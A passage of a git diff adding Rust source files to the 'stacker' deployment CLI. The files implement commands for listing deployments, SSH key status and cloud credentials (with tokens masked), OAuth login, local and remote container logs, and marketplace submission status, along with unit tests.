[--json]` +/// +/// Lists deployments for the authenticated user. +pub struct ListDeploymentsCommand { + pub json: bool, + pub project_id: Option, + pub limit: Option, +} + +impl ListDeploymentsCommand { + pub fn new(json: bool, project_id: Option, limit: Option) -> Self { + Self { + json, + project_id, + limit, + } + } +} + +impl CallableTrait for ListDeploymentsCommand { + fn call(&self) -> Result<(), Box> { + let json = self.json; + let ctx = CliRuntime::new("list deployments")?; + + let project_id = self.project_id; + let limit = self.limit; + + ctx.block_on(async { + let deployments = ctx.client.list_deployments(project_id, limit).await?; + + if deployments.is_empty() { + eprintln!("No deployments found."); + return Ok(()); + } + + if json { + println!("{}", serde_json::to_string_pretty(&deployments)?); + } else { + print!("{}", render_deployments_table(&deployments)); + eprintln!("\n{} deployment(s) total.", deployments.len()); + } + + Ok(()) + }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// list ssh-keys +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker list ssh-keys [--json]` +/// +/// Lists all servers and their SSH key status. SSH keys are managed +/// per-server, so this command shows each server's key state. +pub struct ListSshKeysCommand { + pub json: bool, +} + +impl ListSshKeysCommand { + pub fn new(json: bool) -> Self { + Self { json } + } +} + +impl CallableTrait for ListSshKeysCommand { + fn call(&self) -> Result<(), Box> { + let json = self.json; + let ctx = CliRuntime::new("list ssh-keys")?; + + ctx.block_on(async { + let servers = ctx.client.list_servers().await?; + + if servers.is_empty() { + eprintln!("No servers found (SSH keys are managed per-server)."); + return Ok(()); + } + + if json { + // Output a focused JSON view with just SSH key info + let ssh_info: Vec = servers + .iter() + .map(|s| { + serde_json::json!({ + "server_id": s.id, + "server_name": s.name, + "srv_ip": s.srv_ip, + "ssh_port": s.ssh_port, + "ssh_user": s.ssh_user, + "key_status": s.key_status, + "connection_mode": s.connection_mode, + }) + }) + .collect(); + println!("{}", serde_json::to_string_pretty(&ssh_info)?); + } else { + println!( + "{:<6} {:<20} {:<16} {:<8} {:<10} {:<12} {:<10}", + "ID", "SERVER", "IP", "PORT", "USER", "KEY STATUS", "MODE" + ); + println!("{}", "─".repeat(84)); + + let mut active_count = 0; + for s in &servers { + let status_icon = match s.key_status.as_str() { + "active" => { + active_count += 1; + "✓ active" + } + "pending" => "◷ pending", + "failed" => "✗ failed", + _ => " none", + }; + println!( + "{:<6} {:<20} {:<16} {:<8} {:<10} {:<12} {:<10}", + s.id, + truncate(&s.name.clone().unwrap_or_else(|| "-".to_string()), 18), + s.srv_ip.clone().unwrap_or_else(|| "-".to_string()), + s.ssh_port + .map(|p| p.to_string()) + .unwrap_or_else(|| "22".to_string()), + s.ssh_user.clone().unwrap_or_else(|| "root".to_string()), + status_icon, + &s.connection_mode, + ); + } + + eprintln!( + "\n{} server(s), {} with active SSH keys.", + servers.len(), + active_count + ); + } + + Ok(()) + }) + } +} + +// ── helpers ────────────────────────────────────────── + +/// Truncate a string to `max_len` characters, adding "…" if truncated. +fn truncate(s: &str, max_len: usize) -> String { + if s.chars().count() > max_len { + let truncated: String = s.chars().take(max_len.saturating_sub(1)).collect(); + format!("{}…", truncated) + } else { + s.to_string() + } +} + +fn render_deployments_table( + deployments: &[crate::cli::stacker_client::DeploymentStatusInfo], +) -> String { + let mut table = String::new(); + let _ = writeln!( + &mut table, + "{:<6} {:<10} {:<16} {:<47} {:<20}", + "ID", "PROJECT", "STATUS", "DEPLOYMENT HASH", "CREATED" + ); + let _ = writeln!(&mut table, "{}", "─".repeat(104)); + + for deployment in deployments { + let _ = writeln!( + &mut table, + "{:<6} {:<10} {:<16} {:<47} {:<20}", + deployment.id, + deployment.project_id, + format!( + "{} {}", + progress::status_icon(&deployment.status), + deployment.status + ), + deployment.deployment_hash, + deployment.created_at, + ); + } + + table +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// list clouds +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker list clouds [--json]` +/// +/// Lists all saved cloud credentials for the authenticated user. +/// Shows ID, name, and provider. Tokens are masked for security. +pub struct ListCloudsCommand { + pub json: bool, +} + +impl ListCloudsCommand { + pub fn new(json: bool) -> Self { + Self { json } + } +} + +impl CallableTrait for ListCloudsCommand { + fn call(&self) -> Result<(), Box> { + let json = self.json; + let ctx = CliRuntime::new("list clouds")?; + + ctx.block_on(async { + let clouds = ctx.client.list_clouds().await?; + + if clouds.is_empty() { + eprintln!("No saved cloud credentials found."); + eprintln!( + "Cloud credentials are saved automatically when you deploy with env vars," + ); + eprintln!( + "or via: stacker deploy --target cloud (with HCLOUD_TOKEN, DIGITALOCEAN_TOKEN, LINODE_TOKEN, VULTR_API_KEY, or AWS credentials exported)." + ); + return Ok(()); + } + + if json { + // Mask sensitive fields for JSON output + let safe: Vec = clouds + .iter() + .map(|c| { + serde_json::json!({ + "id": c.id, + "name": c.name, + "provider": c.provider, + "has_token": c.cloud_token.is_some(), + "has_key": c.cloud_key.is_some(), + "has_secret": c.cloud_secret.is_some(), + }) + }) + .collect(); + println!("{}", serde_json::to_string_pretty(&safe)?); + } else { + println!( + "{:<6} {:<24} {:<12} {:<10} {:<10} {:<10}", + "ID", "NAME", "PROVIDER", "TOKEN", "KEY", "SECRET" + ); + println!("{}", "─".repeat(74)); + + for c in &clouds { + let has_token = if c.cloud_token.is_some() { "✓" } else { "-" }; + let has_key = if c.cloud_key.is_some() { "✓" } else { "-" }; + let secret_indicator = "*"; + println!( + "{:<6} {:<24} {:<12} {:<10} {:<10} {:<10}", + c.id, + truncate(&c.name, 22), + &c.provider, + has_token, + has_key, + secret_indicator, + ); + } + + eprintln!("\n{} cloud credential(s) total.", clouds.len()); + eprintln!("Use with: stacker deploy --key or --key-id "); + } + + Ok(()) + }) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::stacker_client::DeploymentStatusInfo; + + #[test] + fn render_deployments_table_keeps_full_status_and_timestamp() { + let deployments = vec![DeploymentStatusInfo { + id: 114, + project_id: 229, + deployment_hash: "deployment_5cc15f7d-8c87-464a-a7c5-ee6116201f22".to_string(), + status: "completed".to_string(), + status_message: Some("done".to_string()), + created_at: "2026-05-06 00:35:31".to_string(), + updated_at: "2026-05-06 00:36:31".to_string(), + }]; + + let rendered = render_deployments_table(&deployments); + + assert!(rendered.contains("✓ completed")); + assert!(rendered.contains("2026-05-06 00:35:31")); + assert!(rendered.contains("deployment_5cc15f7d-8c87-464a-a7c5-ee6116201f22")); + assert!(!rendered.contains("comple…")); + assert!(!rendered.contains("2026-05-0…")); + } +} diff --git a/stacker/stacker/src/console/commands/cli/login.rs b/stacker/stacker/src/console/commands/cli/login.rs new file mode 100644 index 0000000..44d9f94 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/login.rs @@ -0,0 +1,96 @@ +use std::io::{self, IsTerminal}; + +use crate::cli::credentials::{login, CredentialsManager, HttpOAuthClient, LoginRequest}; +use crate::console::commands::CallableTrait; +use dialoguer::Password; + +/// `stacker login [--org ] [--domain ] [--auth-url ]` +/// +/// Authenticates with the TryDirect platform via OAuth2 and stores +/// credentials in `~/.config/stacker/credentials.json`. +/// +/// Prompts for email on stdin and masks password input when interactive. +pub struct LoginCommand { + pub org: Option, + pub domain: Option, + pub auth_url: Option, + pub server_url: Option, +} + +impl LoginCommand { + pub fn new( + org: Option, + domain: Option, + auth_url: Option, + server_url: Option, + ) -> Self { + Self { + org, + domain, + auth_url, + server_url, + } + } + + /// Read a line from stdin (used for email/password prompts). + fn read_line(prompt: &str) -> Result> { + eprint!("{}", prompt); + let mut input = String::new(); + std::io::stdin().read_line(&mut input)?; + Ok(input.trim().to_string()) + } + + fn read_password(prompt: &str) -> Result> { + if io::stdin().is_terminal() { + let cleaned = prompt.trim().trim_end_matches(':').trim(); + let input = Password::new() + .with_prompt(cleaned) + .interact() + .map_err(|e| format!("Failed to read password: {}", e))?; + Ok(input.trim().to_string()) + } else { + Self::read_line(prompt) + } + } +} + +impl CallableTrait for LoginCommand { + fn call(&self) -> Result<(), Box> { + let email = Self::read_line("Email: ")?; + if email.is_empty() { + return Err("Email cannot be empty".into()); + } + + let password = Self::read_password("Password: ")?; + if password.is_empty() { + return Err("Password cannot be empty".into()); + } + + let request = LoginRequest { + email, + password, + auth_url: self.auth_url.clone(), + server_url: self.server_url.clone(), + org: self.org.clone(), + domain: self.domain.clone(), + }; + + let manager = CredentialsManager::with_default_store(); + let oauth = HttpOAuthClient; + + let creds = login(&manager, &oauth, &request)?; + + eprintln!("✓ {}", creds); + if let Some(org) = &creds.org { + eprintln!(" Organization: {}", org); + } + if let Some(domain) = &creds.domain { + eprintln!(" Domain: {}", domain); + } + if let Some(server_url) = &creds.server_url { + eprintln!(" Stacker API: {}", server_url); + } + + Ok(()) + } +} diff --git a/stacker/stacker/src/console/commands/cli/logs.rs b/stacker/stacker/src/console/commands/cli/logs.rs new file mode 100644 index 0000000..22d4add --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/logs.rs @@ -0,0 +1,585 @@ +use std::fmt::Write as _; +use std::path::Path; + +use crate::cli::error::CliError; +use crate::cli::install_runner::{CommandExecutor, CommandOutput, ShellExecutor}; +use crate::cli::local_compose::resolve_local_compose_path; +use crate::console::commands::CallableTrait; + +const DEFAULT_CONFIG_FILE: &str = "stacker.yml"; + +/// `stacker logs [--service ] [--follow] [--tail ] [--since ]` +/// +/// Shows container logs for the deployed stack. +/// +/// - **Local deployments**: delegates to `docker compose logs`. +/// - **Remote deployments**: fetches logs from the Status Panel agent via the +/// Stacker server API (same as `stacker agent logs`). +pub struct LogsCommand { + pub service: Option, + pub follow: bool, + pub tail: Option, + pub since: Option, +} + +impl LogsCommand { + pub fn new( + service: Option, + follow: bool, + tail: Option, + since: Option, + ) -> Self { + Self { + service, + follow, + tail, + since, + } + } +} + +/// Build the `docker compose logs` argument list. +pub fn build_logs_args( + compose_path: &str, + service: Option<&str>, + follow: bool, + tail: Option, + since: Option<&str>, +) -> Vec { + let mut args = vec![ + "compose".to_string(), + "-f".to_string(), + compose_path.to_string(), + "logs".to_string(), + ]; + + if follow { + args.push("-f".to_string()); + } + + if let Some(n) = tail { + args.push("--tail".to_string()); + args.push(n.to_string()); + } + + if let Some(s) = since { + args.push("--since".to_string()); + args.push(s.to_string()); + } + + if let Some(svc) = service { + args.push(svc.to_string()); + } + + args +} + +/// Core logic, extracted for testability. +pub fn run_logs( + project_dir: &Path, + service: Option<&str>, + follow: bool, + tail: Option, + since: Option<&str>, + executor: &dyn CommandExecutor, +) -> Result { + let compose_path = resolve_local_compose_path(project_dir)?; + + let compose_str = compose_path.to_string_lossy().to_string(); + let args = build_logs_args(&compose_str, service, follow, tail, since); + let args_refs: Vec<&str> = args.iter().map(|s| s.as_str()).collect(); + + let output = executor.execute("docker", &args_refs)?; + Ok(output) +} + +impl CallableTrait for LogsCommand { + fn call(&self) -> Result<(), Box> { + let project_dir = std::env::current_dir()?; + + // Try local first — use the same compose resolution logic as local deploy/status. + if resolve_local_compose_path(&project_dir).is_ok() { + let executor = ShellExecutor; + let output = run_logs( + &project_dir, + self.service.as_deref(), + self.follow, + self.tail, + self.since.as_deref(), + &executor, + )?; + + print!("{}", output.stdout); + if !output.stderr.is_empty() { + eprint!("{}", output.stderr); + } + return Ok(()); + } + + // No local compose — try remote agent logs + if is_remote_deployment(&project_dir) { + return run_remote_logs(self.service.as_deref(), self.tail); + } + + // Neither local nor remote + Err(Box::new(CliError::ConfigValidation( + "No deployment found. Run 'stacker deploy' first.".to_string(), + ))) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Remote (agent) logs +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +use crate::cli::config_parser::{CloudOrchestrator, DeployTarget, StackerConfig}; +use crate::cli::fmt; +use crate::cli::progress; +use crate::cli::runtime::CliRuntime; +use crate::cli::stacker_client::{AgentCommandInfo, AgentEnqueueRequest}; + +/// Default poll timeout for agent commands (seconds). +const REMOTE_TIMEOUT_SECS: u64 = 60; + +/// Default poll interval (seconds). +const REMOTE_POLL_INTERVAL_SECS: u64 = 2; + +/// Detect whether the project has a remote (cloud/server) deployment. +fn is_remote_deployment(project_dir: &Path) -> bool { + // 1. Deployment lock with a deployment_id → remote + if let Ok(Some(lock)) = crate::cli::deployment_lock::DeploymentLock::load(project_dir) { + if lock.deployment_id.is_some() { + return true; + } + // Lock exists but with target != "local" → server deploy + if lock.target != "local" { + return true; + } + } + + // 2. stacker.yml declares cloud/server target + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + if let Ok(config) = StackerConfig::from_file(&config_path) + .and_then(|config| config.with_resolved_deploy_target(None)) + { + if config.deploy.target == DeployTarget::Cloud { + return true; + } + if let Some(cloud_cfg) = &config.deploy.cloud { + if cloud_cfg.orchestrator == CloudOrchestrator::Remote { + return true; + } + } + } + + false +} + +/// Resolve the deployment hash for remote logs, same logic as agent commands. +fn resolve_deployment_hash(ctx: &CliRuntime) -> Result { + let project_dir = std::env::current_dir().map_err(CliError::Io)?; + + // 1. Deployment lock + if let Some(lock) = crate::cli::deployment_lock::DeploymentLock::load(&project_dir)? { + if let Some(dep_id) = lock.deployment_id { + let info = ctx.block_on(ctx.client.get_deployment_status(dep_id as i32))?; + if let Some(info) = info { + return Ok(info.deployment_hash); + } + } + } + + // 2. stacker.yml explicit deployment hash + let config_path = project_dir.join(DEFAULT_CONFIG_FILE); + if config_path.exists() { + if let Ok(config) = crate::cli::config_parser::StackerConfig::from_file(&config_path) + .and_then(|config| config.with_resolved_deploy_target(None)) + { + if let Some(hash) = config.deploy.deployment_hash.as_ref() { + if !hash.trim().is_empty() { + return Ok(hash.clone()); + } + } + + // 3. stacker.yml project → active agent (most recent heartbeat) + if let Some(ref project_name) = config.project.identity { + let project = ctx.block_on(ctx.client.find_project_by_name(project_name))?; + if let Some(proj) = project { + match ctx.block_on(ctx.client.agent_snapshot_by_project(proj.id)) { + Ok((_, hash)) => { + eprintln!( + "\x1b[2mℹ No --deployment specified — using active agent for project '{}': {}\x1b[0m", + project_name, hash + ); + return Ok(hash); + } + Err(_) => {} + } + } + } + } + } + + Err(CliError::ConfigValidation( + "Cannot determine deployment hash.\n\ + Use 'stacker agent logs ' with --deployment , \ + or run from a directory with a deployment lock or stacker.yml." + .to_string(), + )) +} + +/// Fetch logs from the remote agent, optionally for a single service. +/// +/// If no `--service` is specified, fetches a snapshot to discover running +/// containers and fetches logs for all of them. +fn run_remote_logs( + service: Option<&str>, + tail: Option, +) -> Result<(), Box> { + let ctx = CliRuntime::new("remote logs")?; + let hash = resolve_deployment_hash(&ctx)?; + + let limit = tail.map(|n| n as i32).unwrap_or(200); + + // Determine which app codes to fetch logs for. + let app_codes: Vec = if let Some(svc) = service { + vec![svc.to_string()] + } else { + // Fetch snapshot to discover all running containers + let pb = progress::spinner("Discovering containers"); + match ctx.block_on(ctx.client.agent_snapshot(&hash)) { + Ok(snap) => { + progress::finish_success(&pb, "Containers discovered"); + snap.get("containers") + .and_then(|v| v.as_array()) + .map(|arr| { + arr.iter() + .filter_map(|c| c.get("name").and_then(|n| n.as_str())) + .map(|s| s.to_string()) + .collect() + }) + .unwrap_or_default() + } + Err(e) => { + progress::finish_error(&pb, &format!("Could not discover containers: {}", e)); + return Err(Box::new(e)); + } + } + }; + + if app_codes.is_empty() { + let (summary, tip) = no_containers_messages(&hash); + eprintln!("{}", summary); + eprintln!("{}", tip); + return Ok(()); + } + + // Fetch logs for each container + for app_code in &app_codes { + let params = crate::forms::status_panel::LogsCommandRequest { + app_code: app_code.clone(), + container: None, + cursor: None, + limit, + streams: vec!["stdout".to_string(), "stderr".to_string()], + redact: true, + }; + + let request = AgentEnqueueRequest::new(&hash, "logs") + .with_parameters(¶ms) + .map_err(|e| CliError::ConfigValidation(format!("Invalid parameters: {}", e)))?; + + let spinner_msg = format!("Fetching logs for {}", app_code); + let info = run_remote_agent_command(&ctx, &request, &spinner_msg, REMOTE_TIMEOUT_SECS)?; + + print_logs_result(app_code, &info, app_codes.len() > 1); + } + + Ok(()) +} + +fn no_containers_messages(hash: &str) -> (String, String) { + let mut summary = String::new(); + let mut tip = String::new(); + let _ = write!(&mut summary, "No containers found for deployment {}.", hash); + let _ = write!( + &mut tip, + "Tip: use 'stacker agent status --deployment {}' to check the deployment.", + hash + ); + (summary, tip) +} + +/// Execute an agent command with spinner and polling. +fn run_remote_agent_command( + ctx: &CliRuntime, + request: &AgentEnqueueRequest, + spinner_msg: &str, + timeout: u64, +) -> Result { + let pb = progress::spinner(spinner_msg); + + let result = ctx.block_on(async { + let info = ctx.client.agent_enqueue(request).await?; + let command_id = info.command_id.clone(); + let deployment_hash = request.deployment_hash.clone(); + + let deadline = tokio::time::Instant::now() + std::time::Duration::from_secs(timeout); + let interval = std::time::Duration::from_secs(REMOTE_POLL_INTERVAL_SECS); + + let mut last_status = "pending".to_string(); + + loop { + tokio::time::sleep(interval).await; + + if tokio::time::Instant::now() >= deadline { + return Err(CliError::AgentCommandTimeout { + command_id: command_id.clone(), + command_type: spinner_msg.to_string(), + last_status, + deployment_hash, + }); + } + + let status = ctx + .client + .agent_command_status(&deployment_hash, &command_id) + .await?; + + last_status = status.status.clone(); + progress::update_message(&pb, &format!("{} [{}]", spinner_msg, status.status)); + + match status.status.as_str() { + "completed" | "failed" => return Ok(status), + _ => continue, + } + } + }); + + match &result { + Ok(info) if info.status == "completed" => { + progress::finish_success(&pb, &format!("{} ✓", spinner_msg)); + } + Ok(info) => { + progress::finish_error(&pb, &format!("{} — {}", spinner_msg, info.status)); + } + Err(e) => { + let short_msg = if matches!(e, CliError::AgentCommandTimeout { .. }) { + format!("{} — timed out", spinner_msg) + } else { + format!("{} — {}", spinner_msg, e) + }; + progress::finish_error(&pb, &short_msg); + } + } + + result +} + +/// Pretty-print agent log results. +fn print_logs_result(app_code: &str, info: &AgentCommandInfo, multi: bool) { + if multi { + println!("\n{}", fmt::separator(60)); + println!("── {} ──", app_code); + } + + if info.status == "failed" { + if let Some(ref error) = info.error { + eprintln!( + "Error fetching logs for {}: {}", + app_code, + fmt::pretty_json(error) + ); + } + return; + } + + if let Some(ref result) = info.result { + // Try to extract log lines from the result JSON + if let Some(logs) = result.get("logs").and_then(|v| v.as_str()) { + print!("{}", logs); + } else if let Some(lines) = result.get("lines").and_then(|v| v.as_array()) { + for line in lines { + if let Some(s) = line.as_str() { + println!("{}", s); + } + } + } else if let Some(output) = result.get("output").and_then(|v| v.as_str()) { + print!("{}", output); + } else { + // Fallback: pretty-print the whole result + println!("{}", fmt::pretty_json(result)); + } + } else { + println!("(no log output)"); + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::deployment_lock::DeploymentLock; + use chrono::Utc; + + #[test] + fn test_logs_constructs_compose_command() { + let args = build_logs_args("/path/compose.yml", None, false, None, None); + assert_eq!(args, vec!["compose", "-f", "/path/compose.yml", "logs"]); + } + + #[test] + fn test_logs_with_service_filter() { + let args = build_logs_args("/path/compose.yml", Some("postgres"), false, None, None); + assert!(args.contains(&"postgres".to_string())); + } + + #[test] + fn test_logs_with_follow() { + let args = build_logs_args("/path/compose.yml", None, true, None, None); + assert!(args.contains(&"-f".to_string())); + } + + #[test] + fn test_logs_with_tail() { + let args = build_logs_args("/path/compose.yml", None, false, Some(100), None); + assert!(args.contains(&"--tail".to_string())); + assert!(args.contains(&"100".to_string())); + } + + #[test] + fn test_logs_with_since() { + let args = build_logs_args("/path/compose.yml", None, false, None, Some("1h")); + assert!(args.contains(&"--since".to_string())); + assert!(args.contains(&"1h".to_string())); + } + + #[test] + fn test_logs_no_deployment_returns_error() { + use crate::cli::install_runner::CommandOutput; + + struct MockExec; + impl CommandExecutor for MockExec { + fn execute(&self, _p: &str, _a: &[&str]) -> Result { + Ok(CommandOutput { + exit_code: 0, + stdout: String::new(), + stderr: String::new(), + }) + } + } + + let dir = tempfile::TempDir::new().unwrap(); + let result = run_logs(dir.path(), None, false, None, None, &MockExec); + assert!(result.is_err()); + let err = format!("{}", result.unwrap_err()); + assert!(err.contains("No deployment found") || err.contains("deploy")); + } + + #[test] + fn test_logs_uses_configured_compose_file_for_local_target() { + struct MockExec { + calls: std::sync::Mutex>>, + } + + impl CommandExecutor for MockExec { + fn execute(&self, _p: &str, args: &[&str]) -> Result { + self.calls + .lock() + .unwrap() + .push(args.iter().map(|arg| arg.to_string()).collect()); + Ok(CommandOutput { + exit_code: 0, + stdout: String::new(), + stderr: String::new(), + }) + } + } + + let dir = tempfile::TempDir::new().unwrap(); + std::fs::create_dir_all(dir.path().join("docker/local")).unwrap(); + std::fs::write( + dir.path().join("docker/local/compose.yml"), + "services: {}\n", + ) + .unwrap(); + std::fs::write( + dir.path().join(DEFAULT_CONFIG_FILE), + "name: demo\ndeploy:\n target: local\n compose_file: docker/local/compose.yml\n", + ) + .unwrap(); + + let executor = MockExec { + calls: std::sync::Mutex::new(Vec::new()), + }; + + run_logs(dir.path(), None, false, None, None, &executor).unwrap(); + + let calls = executor.calls.lock().unwrap(); + assert_eq!(calls.len(), 1); + assert_eq!( + calls[0][2], + dir.path() + .join("docker/local/compose.yml") + .to_string_lossy() + ); + } + + #[test] + fn test_no_containers_messages_use_full_hash() { + let hash = "deployment_5cc15f7d-8c87-464a-a7c5-ee6116201f22"; + let (summary, tip) = no_containers_messages(hash); + + assert!(summary.contains(hash)); + assert!(tip.contains(hash)); + assert!(!summary.contains("deployme.")); + } + + #[test] + fn test_is_remote_deployment_for_hydrated_handoff_lock() { + let dir = tempfile::TempDir::new().unwrap(); + DeploymentLock { + target: "cloud".to_string(), + server_ip: Some("203.0.113.10".to_string()), + ssh_user: Some("root".to_string()), + ssh_port: Some(22), + server_name: Some("demo".to_string()), + deployment_id: Some(42), + project_id: Some(7), + cloud_id: Some(9), + project_name: Some("demo".to_string()), + stacker_email: Some("owner@example.com".to_string()), + deployed_at: Utc::now().to_rfc3339(), + } + .save(dir.path()) + .unwrap(); + + assert!(is_remote_deployment(dir.path())); + } + + #[test] + fn test_is_remote_deployment_for_named_cloud_target_config() { + let dir = tempfile::TempDir::new().unwrap(); + std::fs::write( + dir.path().join(DEFAULT_CONFIG_FILE), + r#"name: demo +app: + type: static +deploy: + default_target: prod + targets: + local: + compose_file: docker/local/compose.yml + prod: + cloud: + provider: aws +"#, + ) + .unwrap(); + + assert!(is_remote_deployment(dir.path())); + } +} diff --git a/stacker/stacker/src/console/commands/cli/marketplace.rs b/stacker/stacker/src/console/commands/cli/marketplace.rs new file mode 100644 index 0000000..5e0c846 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/marketplace.rs @@ -0,0 +1,210 @@ +use crate::cli::credentials::CredentialsManager; +use crate::cli::error::CliError; +use crate::cli::stacker_client::StackerClient; +use crate::console::commands::CallableTrait; + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// marketplace status +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker marketplace status [name] [--json]` +/// +/// Check submission status for the user's marketplace templates. +/// If a name is provided, shows detail for that template only. +pub struct MarketplaceStatusCommand { + name: Option, + json: bool, +} + +impl MarketplaceStatusCommand { + pub fn new(name: Option, json: bool) -> Self { + Self { name, json } + } +} + +impl CallableTrait for MarketplaceStatusCommand { + fn call(&self) -> Result<(), Box> { + let json = self.json; + + let cred_manager = CredentialsManager::with_default_store(); + let creds = cred_manager.require_valid_token("marketplace status")?; + let base_url = crate::cli::install_runner::normalize_stacker_server_url( + crate::cli::stacker_client::DEFAULT_STACKER_URL, + ); + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)) + })?; + + let name = self.name.clone(); + + rt.block_on(async { + let client = StackerClient::new(&base_url, &creds.access_token); + let templates = client.marketplace_list_mine().await?; + + if let Some(ref name) = name { + // Filter to matching template + let template = templates + .iter() + .find(|t| t.name == *name || t.slug == *name); + match template { + Some(t) => { + if json { + println!("{}", serde_json::to_string_pretty(&t)?); + } else { + println!( + "Stack: {} v{}", + t.name, + t.version.as_deref().unwrap_or("?") + ); + println!("Status: {}", t.status); + println!( + "Submitted: {}", + t.created_at.as_deref().unwrap_or("\u{2014}") + ); + if let Some(ref reason) = t.review_reason { + println!("Reason: {}", reason); + } + } + } + None => { + eprintln!("No submission found for '{}'", name); + std::process::exit(1); + } + } + } else { + if json { + println!("{}", serde_json::to_string_pretty(&templates)?); + } else { + if templates.is_empty() { + println!("No marketplace submissions found."); + println!("Submit your first stack with: stacker submit"); + return Ok(()); + } + println!( + "{:<25} {:<10} {:<15} {:<20}", + "STACK", "VERSION", "STATUS", "SUBMITTED" + ); + println!("{}", "\u{2500}".repeat(72)); + for t in &templates { + println!( + "{:<25} {:<10} {:<15} {:<20}", + truncate(&t.name, 23), + t.version.as_deref().unwrap_or("\u{2014}"), + t.status, + t.created_at.as_deref().unwrap_or("\u{2014}"), + ); + } + eprintln!("\n{} submission(s) total.", templates.len()); + } + } + Ok(()) + }) + } +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// marketplace logs +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +/// `stacker marketplace logs [--json]` +/// +/// Show review comments and history for a marketplace submission. +pub struct MarketplaceLogsCommand { + name: String, + json: bool, +} + +impl MarketplaceLogsCommand { + pub fn new(name: String, json: bool) -> Self { + Self { name, json } + } +} + +impl CallableTrait for MarketplaceLogsCommand { + fn call(&self) -> Result<(), Box> { + let json = self.json; + + let cred_manager = CredentialsManager::with_default_store(); + let creds = cred_manager.require_valid_token("marketplace logs")?; + let base_url = crate::cli::install_runner::normalize_stacker_server_url( + crate::cli::stacker_client::DEFAULT_STACKER_URL, + ); + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build() + .map_err(|e| { + CliError::ConfigValidation(format!("Failed to create async runtime: {}", e)) + })?; + + let name = self.name.clone(); + + rt.block_on(async { + let client = StackerClient::new(&base_url, &creds.access_token); + + // First, find the template by name to get its ID + let templates = client.marketplace_list_mine().await?; + let template = templates.iter().find(|t| t.name == name || t.slug == name); + + let template = match template { + Some(t) => t, + None => { + eprintln!("No submission found for '{}'", name); + std::process::exit(1); + } + }; + + let reviews = client.marketplace_reviews(&template.id).await?; + + if json { + println!("{}", serde_json::to_string_pretty(&reviews)?); + } else { + println!( + "Review history for: {} v{}", + template.name, + template.version.as_deref().unwrap_or("?") + ); + println!("Current status: {}", template.status); + println!(); + + if reviews.is_empty() { + println!("No reviews yet."); + return Ok(()); + } + + println!( + "{:<12} {:<20} {:<20} {}", + "DECISION", "SUBMITTED", "REVIEWED", "REASON" + ); + println!("{}", "\u{2500}".repeat(80)); + for r in &reviews { + println!( + "{:<12} {:<20} {:<20} {}", + r.decision, + r.submitted_at.as_deref().unwrap_or("\u{2014}"), + r.reviewed_at.as_deref().unwrap_or("\u{2014}"), + r.review_reason.as_deref().unwrap_or(""), + ); + } + eprintln!("\n{} review(s) total.", reviews.len()); + } + Ok(()) + }) + } +} + +// ── helpers ────────────────────────────────────────── + +/// Truncate a string to `max_len` characters, adding "..." if truncated. +fn truncate(s: &str, max_len: usize) -> String { + if s.chars().count() > max_len { + let truncated: String = s.chars().take(max_len.saturating_sub(1)).collect(); + format!("{}\u{2026}", truncated) + } else { + s.to_string() + } +} diff --git a/stacker/stacker/src/console/commands/cli/mod.rs b/stacker/stacker/src/console/commands/cli/mod.rs new file mode 100644 index 0000000..e269aa7 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/mod.rs @@ -0,0 +1,26 @@ +pub mod agent; +pub mod ai; +pub mod ci; +pub mod cloud_firewall; +pub mod config; +pub mod connect; +pub mod deploy; +pub mod deployment; +pub mod destroy; +pub mod explain; +pub mod init; +pub mod list; +pub mod login; +pub mod logs; +pub mod marketplace; +pub mod pipe; +pub mod proxy; +pub mod resolve; +pub mod rollback; +pub mod secrets; +pub mod service; +pub mod ssh_key; +pub mod status; +pub mod submit; +pub mod update; +pub mod whoami; diff --git a/stacker/stacker/src/console/commands/cli/pipe.rs b/stacker/stacker/src/console/commands/cli/pipe.rs new file mode 100644 index 0000000..07aa357 --- /dev/null +++ b/stacker/stacker/src/console/commands/cli/pipe.rs @@ -0,0 +1,5461 @@ +//! `stacker pipe` — CLI subcommands for connecting containerized apps. +//! +//! Pipe commands discover endpoints on running containers and create +//! data connections between them. +//! +//! ```text +//! CLI -> Stacker API (enqueue probe_endpoints) -> DB queue -> Agent probes -> Agent reports +//! ``` + +use crate::cli::error::CliError; +use crate::cli::field_matcher::{DeterministicFieldMatcher, FieldMatcher}; +use crate::cli::fmt; +use crate::cli::local_pipe_store::{ + LocalPipeBinding, LocalPipeDiagnostics, LocalPipeDocument, LocalPipeInstance, LocalPipeStore, + LocalPipeTemplate, NewLocalPipeDocument, +}; +use crate::cli::progress; +use crate::cli::runtime::CliRuntime; +use crate::cli::service_catalog::ServiceCatalog; +use crate::cli::stacker_client::{ + AgentCommandInfo, AgentEnqueueRequest, 